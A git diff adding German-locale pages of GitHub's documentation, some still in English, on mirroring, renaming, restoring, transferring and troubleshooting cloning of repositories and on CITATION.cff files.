+## Ein Repository spiegeln, das {% data variables.large_files.product_name_long %}-Objekte enthält
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Erstelle einen leeren Klon des Repositorys. Ersetze den Beispiel-Benutzernamen durch den Namen der Person oder Organisation, der das Repository gehört, und ersetze den Beispiel-Repository-Namen durch den Namen des Repositorys, das du duplizieren möchtest.
+  ```shell
+  $ git clone --bare https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/OLD-REPOSITORY.git
+  ```
+3. Navigiere zu dem Repository, das du gerade geklont hast.
+  ```shell
+  $ cd OLD-REPOSITORY.git
+  ```
+4. Rufe die {% data variables.large_files.product_name_long %}-Objekte des Repositorys ab.
+  ```shell
+  $ git lfs fetch --all
+  ```
+5. Führe den Spiegel-Push in das neue Repository durch.
+  ```shell
+  $ git push --mirror https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/NEW-REPOSITORY.git
+  ```
+6. Übertrage die {% data variables.large_files.product_name_long %}-Objekte des Repositorys zu deinem Spiegel.
+  ```shell
+  $ git lfs push --all https://github.com/EXAMPLE-USER/NEW-REPOSITORY.git
+  ```
+7. Entferne das temporäre lokale Repository, das du früher erstellt hast.
+  ```shell
+  $ cd ..
+  $ rm -rf OLD-REPOSITORY.git
+  ```
+
+## Ein Repository an einem anderen Ort spiegeln
+
+Wenn du ein Repository an einem anderen Ort spiegeln und Aktualisierungen vom Original-Repository abrufen möchtest, kannst du einen Spiegel klonen und die Änderungen regelmäßig per Push übertragen.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Erstelle einen leeren gespiegelten Klon des Repositorys.
+  ```shell
+  $ git clone --mirror https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/REPOSITORY-TO-MIRROR.git
+  ```
+3. Lege den Push-Ort auf deinen Spiegel fest.
+  ```shell
+  $ cd REPOSITORY-TO-MIRROR
+  $ git remote set-url --push origin https://{% data variables.command_line.codeblock %}/EXAMPLE-USER/MIRRORED
+  ```
+Wie ein leerer Klon enthält ein gespiegelter Klon alle Remote-Branches und Tags. Alle lokalen Verweise werden jedoch bei jedem Abrufen überschrieben, sodass er immer mit dem Original-Repository übereinstimmt. Das Festlegen einer Push-URL vereinfacht Pushes zu deinem Spiegel.
+
+4. Um deinen Spiegel zu aktualisieren, rufe Änderungen ab und übertrage sie per Push.
+  ```shell
+  $ git fetch -p origin
+  $ git push --mirror
+  ```
+{% ifversion fpt or ghec %}
+## Weiterführende Themen
+
+* [Pushen von Änderungen an GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github#pushing-changes-to-github)
+* [Informationen zu Git Large File Storage und GitHub Desktop](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop)
+* [Informationen zu GitHub Importer](/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)
+
+{% endif %}
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/index.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/index.md
new file mode 100644
index 0000000000..6cb99be036
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/index.md
@@ -0,0 +1,36 @@
+---
+title: Erstellen und Verwalten von Repositorys
+intro: 'Du kannst ein Repository auf {% data variables.product.product_name %} erstellen, um die Dateien deines Projekts zu speichern und mit anderen daran zusammenzuarbeiten, und dann den Namen und den Speicherort des Repositorys verwalten.'
+redirect_from:
+  - /articles/creating-a-repository-on-github
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /about-repositories
+  - /best-practices-for-repositories
+  - /creating-a-new-repository
+  - /creating-a-repository-from-a-template
+  - /creating-a-template-repository
+  - /creating-an-issues-only-repository
+  - /duplicating-a-repository
+  - /cloning-a-repository
+  - /troubleshooting-cloning-errors
+  - /renaming-a-repository
+  - /transferring-a-repository
+  - /deleting-a-repository
+  - /restoring-a-deleted-repository
+shortTitle: Create & manage repositories
+ms.openlocfilehash: 06a0bfa43ca81b6b1feb2e796cacac051fb11749
+ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: '148163560'
+---
+
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/renaming-a-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/renaming-a-repository.md
new file mode 100644
index 0000000000..ac00333fc2
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/renaming-a-repository.md
@@ -0,0 +1,60 @@
+---
+title: Repository umbenennen
+intro: 'Du kannst ein Repository umbenennen, wenn du Organisationsinhaber bist oder über Administratorberechtigungen für das Repository verfügst.'
+redirect_from:
+  - /articles/renaming-a-repository
+  - /github/administering-a-repository/renaming-a-repository
+  - /github/administering-a-repository/managing-repository-settings/renaming-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: d0067d96dce2f2cf9fe8bb2dd519668780d861ff
+ms.sourcegitcommit: bd8b3e152f17d90acf222a0d50ba9595184c1f5f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148111673'
+---
+Wenn Du ein Repository umbenennst, werden mit Ausnahme von Projektwebsite-URLs alle vorhandenen Informationen automatisch auf den neuen Namen umgeleitet, einschließlich:
+
+* Probleme
+* Wikis
+* Sterne
+* Follower
+
+Weitere Informationen zu Projektwebsites findest du unter [Informationen zu {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites).
+
+Zusätzlich zum Umleiten von Webdatenverkehr funktionieren alle `git clone`-, `git fetch`- oder `git push`-Vorgänge, die auf den vorherigen Standort abzielen, weiterhin so, als fänden sie am neuen Standort statt. Um jedoch Verwirrung zu vermeiden, empfehlen wir ausdrücklich, alle bestehenden lokalen Klone zu aktualisieren, sodass sie auf die neue Repository-URL verweisen. Du kannst dies tun, indem du `git remote` in der Befehlszeile verwendest:
+
+```shell
+$ git remote set-url origin NEW_URL
+```
+
+Weitere Informationen findest du unter [Verwalten von Remoterepositorys](/github/getting-started-with-github/managing-remote-repositories).
+
+{% ifversion fpt or ghec %}
+
+Wenn Du vorhast, ein Repository mit einer {% data variables.product.prodname_pages %}-Website umzubenennen, empfehlen wir Dir, eine benutzerdefinierte Domäne für Deine Website zu verwenden. Dadurch wird sichergestellt, dass die URL der Website nicht durch Umbenennung des Repository beeinträchtigt wird. Weitere Informationen findest du unter [Informationen zu benutzerdefinierten Domänen und der {% data variables.product.prodname_pages %}-Website](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages). 
+
+{% endif %}
+
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_dotcom %} leitet keine Aufrufe an eine Aktion um, die von einem umbenannten Repository gehostet wird. Bei jedem Workflow, der diese Aktion verwendet, tritt der Fehler `repository not found` auf. Erstelle stattdessen ein neues Repository und eine Aktion mit dem neuen Namen, und archiviere das alte Repository. Weitere Informationen findest du unter [Archivieren von Repositorys](/repositories/archiving-a-github-repository/archiving-repositories).
+
+{% endnote %}
+
+{% warning %}
+
+**Warnung**: Wenn du in der Zukunft ein neues Repository unter deinem Konto erstellst, darfst du den ursprünglichen Namen des umbenannten Repositorys nicht wiederverwenden. Wenn du das doch tust, funktionieren Umleitungen zum umbenannten Repository nicht mehr.
+
+{% endwarning %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Gib unter der Überschrift **Repositoryname** den neuen Namen für das Repository ein.
+   ![Umbenennen des Repositorys](/assets/images/help/repository/repository-name-change.png)
+4. Klicke auf **Umbenennen**. Du hast es geschafft!
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md
new file mode 100644
index 0000000000..86cdc8a075
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md
@@ -0,0 +1,56 @@
+---
+title: Restoring a deleted repository
+intro: '{% ifversion ghes or ghae %}An enterprise owner{% elsif fpt or ghec %}You{% endif %} can restore some deleted repositories to recover their contents.'
+permissions: '{% ifversion ghes or ghae %}{% elsif fpt or ghec %}Anyone can restore deleted repositories that were owned by their own personal account. Organization owners can restore deleted repositories that were owned by the organization.{% endif %}'
+redirect_from:
+  - /articles/restoring-a-deleted-repository
+  - /github/administering-a-repository/restoring-a-deleted-repository
+  - /github/administering-a-repository/managing-repository-settings/restoring-a-deleted-repository
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Repositories
+shortTitle: Restore deleted repository
+---
+
+{% ifversion ghes or ghae %}
+
+Usually, deleted repositories can be restored within 90 days by an enterprise owner{% ifversion ghes %} on {% data variables.location.product_location %}{% endif %}. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." 
+
+{% else %}
+
+## About repository restoration
+
+A deleted repository can be restored within 90 days, unless the repository was part of a fork network that is not currently empty. A fork network consists of a parent repository, the repository's forks, and forks of the repository's forks. If your repository was part of a fork network, it cannot be restored unless every other repository in the network is deleted or has been detached from the network. For more information about forks, see "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)."
+
+If you want to restore a repository that was part of a fork network that is not currently empty, you can contact {% data variables.contact.contact_support %}.
+
+It can take up to an hour after a repository is deleted before that repository is available for restoration.
+
+Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled.
+
+## Restoring a deleted repository that was owned by a personal account
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.repo-tab %}
+{% data reusables.user-settings.deleted-repos %}
+{% data reusables.user-settings.restore-repo %}
+{% data reusables.user-settings.restore-confirmation %}
+
+## Restoring a deleted repository that was owned by an organization
+
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.deleted-repos %}
+{% data reusables.user-settings.restore-repo %}
+{% data reusables.user-settings.restore-confirmation %}
+
+## Further reading
+
+- "[Deleting a repository](/articles/deleting-a-repository)"
+
+{% endif %}
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
new file mode 100644
index 0000000000..85a6ef7f2b
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
@@ -0,0 +1,91 @@
+---
+title: Transferring a repository
+intro: You can transfer repositories to other users or organization accounts.
+redirect_from:
+  - /articles/about-repository-transfers
+  - /move-a-repo
+  - /moving-a-repo
+  - /articles/what-is-transferred-with-a-repository
+  - /articles/what-is-transferred-with-a-repo
+  - /articles/how-to-transfer-a-repo
+  - /articles/how-to-transfer-a-repository
+  - /articles/transferring-a-repository-owned-by-your-personal-account
+  - /articles/transferring-a-repository-owned-by-your-organization
+  - /articles/transferring-a-repository
+  - /github/administering-a-repository/transferring-a-repository
+  - /github/administering-a-repository/managing-repository-settings/transferring-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+## About repository transfers
+
+When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, {% data variables.product.prodname_projects_v1 %}, and settings.
+
+Prerequisites for repository transfers:
+- When you transfer a repository that you own to another personal account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %}
+- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization.
+- The target account must not have a repository with the same name, or a fork in the same network.
+- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghes < 3.7 or ghae %}
+- Internal repositories can't be transferred.{% endif %}
+- Private forks can't be transferred.
+{%- ifversion ghec %}
+- You cannot transfer an internal repository from an organization owned by one enterprise account to an organization owned by a different enterprise account.
+{%- endif %}
+
+{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %}
+
+### What's transferred with a repository?
+
+When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition:
+
+- If the transferred repository is a fork, then it remains associated with the upstream repository.
+- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete.
+- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for personal accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %}
+- When a repository is transferred between two personal accounts, issue assignments are left intact. When you transfer a repository from a personal account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a personal account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed.
+- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository.
+- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line:
+
+  ```shell
+  $ git remote set-url origin NEW_URL
+  ```
+
+  {% warning %}
+
+  **Warning**: If you create a new repository under your account in the future, do not reuse the original name of the transferred repository. If you do, redirects to the transferred repository will no longer work.
+
+  {% endwarning %}
+
+- When you transfer a repository from an organization to a personal account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a personal account. For more information about repository permission levels, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."{% ifversion fpt or ghec %}
+- Sponsors who have access to the repository through a sponsorship tier may be affected. For more information, see "[Adding a repository to a sponsorship tier](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers#adding-a-repository-to-a-sponsorship-tier)".{% endif %}
+
+For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+
+### Repository transfers and organizations
+
+To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization.
+
+Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository.
+
+## Transferring a repository owned by your personal account
+
+You can transfer your repository to any personal account that accepts your repository transfer. When a repository is transferred between two personal accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository.
+
+{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.transfer-repository-steps %}
+
+## Transferring a repository owned by your organization
+
+If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your personal account or to another organization.
+
+1. Sign into your personal account that has admin or owner permissions in the organization that owns the repository.
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.transfer-repository-steps %}
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md
new file mode 100644
index 0000000000..21b3f9b46b
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md
@@ -0,0 +1,186 @@
+---
+title: Troubleshooting cloning errors
+intro: 'If you''re having trouble cloning a repository, check these common errors.'
+redirect_from:
+  - /articles/error-the-requested-url-returned-error-403
+  - /articles/error-the-requested-url-returned-error-401
+  - /articles/error-did-you-run-git-update-server-info-on-the-server
+  - /articles/error-the-requested-url-returned-error-403-while-accessing-https-github-com-user-repo-git-info-refs
+  - /articles/https-cloning-errors
+  - /github/creating-cloning-and-archiving-repositories/https-cloning-errors
+  - /articles/error-repository-not-found
+  - /github/creating-cloning-and-archiving-repositories/error-repository-not-found
+  - /articles/error-remote-head-refers-to-nonexistent-ref-unable-to-checkout
+  - /github/creating-cloning-and-archiving-repositories/error-remote-head-refers-to-nonexistent-ref-unable-to-checkout
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+
+## HTTPS cloning errors
+
+There are a few common errors when using HTTPS with Git. These errors usually indicate you have an old version of Git, or you don't have access to the repository.
+
+Here's an example of an HTTPS error you might receive:
+
+```shell
+> error: The requested URL returned error: 401 while accessing
+> https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs?service=git-receive-pack
+> fatal: HTTP request failed
+```
+
+```shell
+> Error: The requested URL returned error: 403 while accessing
+> https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs
+> fatal: HTTP request failed
+```
+
+```shell
+> Error: https://{% data variables.command_line.codeblock %}/USER/REPO.git/info/refs not found: did you run git
+> update-server-info on the server?
+```
+
+### Check your Git version
+
+There's no minimum Git version necessary to interact with {% data variables.product.product_name %}, but we've found version 1.7.10 to be a comfortable stable version that's available on many platforms. You can always [download the latest version on the Git website](https://git-scm.com/downloads).
+
+### Ensure the remote is correct
+
+The repository you're trying to fetch must exist on {% data variables.location.product_location %}, and the URL is case-sensitive.
+
+You can find the URL of the local repository by opening the command line and
+typing `git remote -v`:
+
+```shell
+$ git remote -v
+# View existing remotes
+> origin  https://github.com/ghost/reactivecocoa.git (fetch)
+> origin  https://github.com/ghost/reactivecocoa.git (push)
+
+$ git remote set-url origin https://github.com/ghost/ReactiveCocoa.git
+# Change the 'origin' remote's URL
+
+$ git remote -v
+# Verify new remote URL
+> origin  https://github.com/ghost/ReactiveCocoa.git (fetch)
+> origin  https://github.com/ghost/ReactiveCocoa.git (push)
+```
+
+Alternatively, you can change the URL through our
+[{% data variables.product.prodname_desktop %}](https://desktop.github.com/) application.
+
+### Provide an access token
+
+To access {% data variables.product.prodname_dotcom %}, you must authenticate with a {% data variables.product.pat_generic %} instead of your password. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+{% data reusables.command_line.provide-an-access-token %}
+
+### Check your permissions
+
+When prompted for a username and password, make sure you use an account that has access to the repository.
+
+{% tip %}
+
+**Tip**: If you don't want to enter your credentials every time you interact with the remote repository, you can turn on [credential caching](/github/getting-started-with-github/caching-your-github-credentials-in-git). If you are already using credential caching, please make sure that your computer has the correct credentials cached. Incorrect or out of date credentials will cause authentication to fail.
+
+{% endtip %}
+
+### Use SSH instead
+
+If you've previously set up SSH keys, you can use the SSH clone URL instead of HTTPS.  For more information, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+
+## Error: Repository not found
+
+{% ifversion fpt or ghae or ghec %}If you see this error when cloning a repository, it means that the repository does not exist or you do not have permission to access it.{% else %}If you see this error when cloning a repository, it means that the repository does not exist, you do not have permission to access it, or {% data variables.location.product_location %} is in private mode.{% endif %} There are a few solutions to this error, depending on the cause.
+
+### Check your spelling
+
+Typos happen, and repository names are case-sensitive.  If you try to clone `git@{% data variables.command_line.codeblock %}:user/repo.git`, but the repository is really named `User/Repo` you will receive this error.
+
+To avoid this error, when cloning, always copy and paste the clone URL from the repository's page. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+
+To update the remote on an existing repository, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)".
+
+### Checking your permissions
+
+If you are trying to clone a private repository but do not have permission to view the repository, you will receive this error.
+
+Make sure that you have access to the repository in one of these ways:
+
+* The owner of the repository
+* A [collaborator](/articles/inviting-collaborators-to-a-personal-repository) on the repository
+* A [member of a team](/articles/adding-organization-members-to-a-team) that has access to the repository (if the repository belongs to an organization)
+
+### Check your SSH access
+
+In rare circumstances, you may not have the proper SSH access to a repository.
+
+You should ensure that the SSH key you are using is attached to your personal account on {% data variables.product.product_name %}. You can check this by typing
+the following into the command line:
+
+```shell
+$ ssh -T git@{% data variables.command_line.codeblock %}
+> Hi USERNAME! You've successfully authenticated, but GitHub does not
+> provide shell access.
+```
+
+{% ifversion fpt or ghec %}
+If the repository belongs to an organization and you're using an SSH key generated by an OAuth App, OAuth App access may have been restricted by an organization owner. For more information, see "[About OAuth App access restrictions](/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions)."
+{% endif %}
+
+For more information, see [Adding a new SSH key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account).
+
+{% ifversion ghes %}
+### Check if your instance is in private mode
+
+If your site administrator has enabled private mode on your GitHub Enterprise instance, anonymous clones over `git://` will be disabled. If you are unable to clone a repository, contact your site administrator.
+{% endif %}
+
+### Check that the repository really exists
+
+If all else fails, make sure that the repository really exists on {% data variables.location.product_location %}!
+If you're trying to push to a repository that doesn't exist, you'll get this error.
+
+## Error: Remote HEAD refers to nonexistent ref, unable to checkout
+
+This error occurs if the default branch of a repository has been deleted on {% data variables.location.product_location %}.
+
+Detecting this error is simple; Git will warn you when you try to clone the repository:
+
+```shell
+$ git clone https://{% data variables.command_line.codeblock %}/USER/REPO.git
+# Clone a repo
+> Cloning into 'repo'...
+> remote: Counting objects: 66179, done.
+> remote: Compressing objects: 100% (15587/15587), done.
+> remote: Total 66179 (delta 46985), reused 65596 (delta 46402)
+> Receiving objects: 100% (66179/66179), 51.66 MiB | 667 KiB/s, done.
+> Resolving deltas: 100% (46985/46985), done.
+> warning: remote HEAD refers to nonexistent ref, unable to checkout.
+```
+
+To fix the error, you'll need to be an administrator of the repository on {% data variables.location.product_location %}.
+You'll want to [change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository.
+
+After that, you can get a list of all the available branches from the command line:
+
+```shell
+$ git branch -a
+# Lists ALL the branches
+>   remotes/origin/awesome
+>   remotes/origin/more-work
+>   remotes/origin/new-main
+```
+
+Then, you can just switch to your new branch:
+
+```shell
+$ git checkout new-main
+# Create and checkout a tracking branch
+> Branch new-main set up to track remote branch new-main from origin.
+> Switched to a new branch 'new-main'
+```
diff --git a/translations/de-DE/content/repositories/index.md b/translations/de-DE/content/repositories/index.md
new file mode 100644
index 0000000000..a62899e265
--- /dev/null
+++ b/translations/de-DE/content/repositories/index.md
@@ -0,0 +1,49 @@
+---
+title: Repositorys
+intro: 'Erfahre, wie du die Repositorys verwenden und verwalten kannst, mit denen du den Code deines Projekts speichern und zusammenarbeiten kannst.'
+introLinks:
+  quickstart: /get-started/quickstart/create-a-repo
+  overview: /repositories/creating-and-managing-repositories/about-repositories
+featuredLinks:
+  guides:
+    - /repositories/creating-and-managing-repositories/cloning-a-repository
+    - /repositories/creating-and-managing-repositories/restoring-a-deleted-repository
+    - /repositories/working-with-files/managing-files/adding-a-file-to-a-repository
+    - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository
+  popular:
+    - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches
+    - /repositories/releasing-projects-on-github/about-releases
+    - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes
+    - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners
+  guideCards:
+    - /repositories/creating-and-managing-repositories/deleting-a-repository
+    - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule
+    - /repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility
+changelog:
+  label: repos
+layout: product-landing
+redirect_from:
+  - /github/creating-cloning-and-archiving-repositories
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /creating-and-managing-repositories
+  - /managing-your-repositorys-settings-and-features
+  - /configuring-branches-and-merges-in-your-repository
+  - /working-with-files
+  - /releasing-projects-on-github
+  - /viewing-activity-and-data-for-your-repository
+  - /archiving-a-github-repository
+ms.openlocfilehash: 8644edb5a572bedc1bd2e032f43e964be6a068f5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132280'
+---
+
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md
new file mode 100644
index 0000000000..2ba8a8a110
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md
@@ -0,0 +1,185 @@
+---
+title: Informationen zu CITATION-Dateien
+intro: 'Du kannst eine CITATION-Datei zu deinem Repository hinzufügen, damit Benutzer deine Software richtig zitieren können.'
+redirect_from:
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-files
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: 96e5e7308ba5d1877f231dcb454d7b797a63f221
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108398'
+---
+## Informationen zu CITATION-Dateien
+
+Du kannst dem Stamm eines Repositorys eine `CITATION.cff`-Datei hinzufügen, um anderen mitzuteilen, wie sie deine Arbeit zitieren sollen. Das CITATION-Dateiformat ist Nur-Text mit von Personen und Computern lesbaren Informationen zum Zitieren.
+
+Beispieldatei für `CITATION.cff`:
+
+```
+cff-version: 1.2.0
+message: "If you use this software, please cite it as below."
+authors:
+- family-names: "Lisa"
+  given-names: "Mona"
+  orcid: "https://orcid.org/0000-0000-0000-0000"
+- family-names: "Bot"
+  given-names: "Hew"
+  orcid: "https://orcid.org/0000-0000-0000-0000"
+title: "My Research Software"
+version: 2.0.4
+doi: 10.5281/zenodo.1234
+date-released: 2017-12-18
+url: "https://github.com/github/linguist"
+```
+
+Bei der GitHub-Zitataufforderung in deinem Repository wird der Beispielinhalt der Datei `CITATION.cff` in diesen Formaten angezeigt:
+
+**APA**
+
+```
+Lisa, M., & Bot, H. (2017). My Research Software (Version 2.0.4) [Computer software]. https://doi.org/10.5281/zenodo.1234
+```
+
+**BibTeX**
+
+{% raw %}
+```
+@software{Lisa_My_Research_Software_2017,
+  author = {Lisa, Mona and Bot, Hew},
+  doi = {10.5281/zenodo.1234},
+  month = {12},
+  title = {{My Research Software}},
+  url = {https://github.com/github/linguist},
+  version = {2.0.4},
+  year = {2017}
+}
+```
+{% endraw %}
+
+Beachte, dass das obige Beispiel ein _Softwarezitat_ generiert (d. h. Typ `@software` in BibTeX anstelle von `@article`).
+
+Weitere Informationen findest du auf der Website zum [CITATION-Dateiformat](https://citation-file-format.github.io/).
+
+Wenn du dem Standardbranch deines Repositorys eine Datei `CITATION.cff` hinzufügst, wird darauf automatisch auf der Landing Page deines Repositorys verwiesen. Dies erleichtert es anderen Benutzer*innen, dein Softwareprojekt mit den von dir bereitgestellten Informationen zu zitieren.
+
+![Zitatlink auf der Landing Page eines Repositorys](/assets/images/help/repository/citation-link.png)
+
+## Zitieren von anderen Komponenten als Software
+
+Wenn du die Zitatinformationen aus {% data variables.product.prodname_dotcom %} mit einer anderen Ressource (z. B. einem Forschungsartikel) verknüpfen möchtest, kannst du die Überschreibung von `preferred-citation` in CFF mit den folgenden Typen verwenden.
+
+| Resource | CFF-Typ | BibTeX-Typ | APA-Anmerkung |
+|----------|----------|-------------|----------------|
+| Journalartikel/-publikation | `article` | `@article` | |
+| Buch | `book` | `@book` | |
+| Broschüre (gebunden, aber nicht veröffentlicht) | `pamphlet` | `@booklet` | |
+| Konferenzartikel/-publikation | `conference-paper` | `@inproceedings` | [Konferenzpublikation] |
+| Konferenzverfahren | `conference`, `proceedings` | `@proceedings` | |
+| Dataset | `data`, `database` | `@misc` | [Dataset] |
+| Magazinartikel | `magazine-article` | `@article` | |
+| Manuell | `manual` | `@manual` | |
+| Verschiedene/allgemeine/andere | `generic` alle anderen CFF-Typen | `@misc` | |
+| Zeitungsartikel | `newspaper-article` | `@article` | |
+| Software |  `software`, `software-code`, `software-container`, `software-executable`, `software-virtual-machine` | `@software` | [Computersoftware] |
+| Bericht/technischer Bericht | `report` | `@techreport` | |
+| Veröffentlichung aufgehoben | `unpublished` | `@unpublished` | |
+
